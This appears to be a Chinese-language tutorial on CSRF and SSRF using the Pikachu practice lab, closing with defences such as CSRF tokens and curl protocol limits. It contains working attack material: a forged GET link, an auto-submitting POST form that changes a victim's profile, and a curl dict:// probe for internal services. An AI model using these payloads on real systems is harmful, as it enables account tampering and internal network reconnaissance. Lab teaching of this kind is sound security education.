一、CSRF攻击原理及实例
-
CSRF简介
CSRF(Cross-Site Request Forgery),即跨站请求伪造,是一种常见的网络攻击手段。攻击者利用已登录用户的cookie,在用户不知情的情况下,伪造请求执行特定操作。
-
CSRF攻击实例
(1)GET类型攻击
首先,我们通过抓包获取到以下请求:
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=abc&phonenum=18666666666&add=%17&email=l11%40qq.com&submit=submit HTTP/1.1
Host: 192.168.10.111
然后,构造恶意链接:
http://192.168.10.111/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=cba&phonenum=66666666&add=%17&email=6666@qq.com&submit=submit
(2)POST类型攻击
首先,抓包获取表单数据,然后构造以下前端代码:
<form action="http://192.168.10.111/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post"><input type="text" name="sex" value="girl"><input type="text" name="phonenum" value="1396969696"><input type="text" name="add" value="+76"><input type="text" name="email" value="6666@pikachu.com"><input type="submit" name="submit" value="submit" id="postsubmit">
</form>
<script>document.getElementById("postsubmit").click();
</script>
二、SSRF攻击原理及实例
-
SSRF简介
SSRF(Server-Side Request Forgery),即服务器端请求伪造,攻击者通过构造特定的请求,让服务器端去访问其他网站资源。
-
SSRF攻击实例
使用curl工具进行攻击,例如:
curl dict://192.168.10.143:21
这个请求可以探测服务器开启的服务和版本。
三、防御措施
-
CSRF防御
为防止CSRF攻击,可以在表单中增加一个token字段,用于身份验证。
-
SSRF防御
(1)白名单:只允许访问固定资源。
$_GET['url'] == 'http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php'
(2)黑名单:禁止访问部分资源。
$_GET['url'] != '.....'
(3)限制curl函数可访问的协议。
curl_setopt($CH, CURLOPT_PROTOCOLS, CURLPROTO_HTTP|CURLPROTO_HTTPS);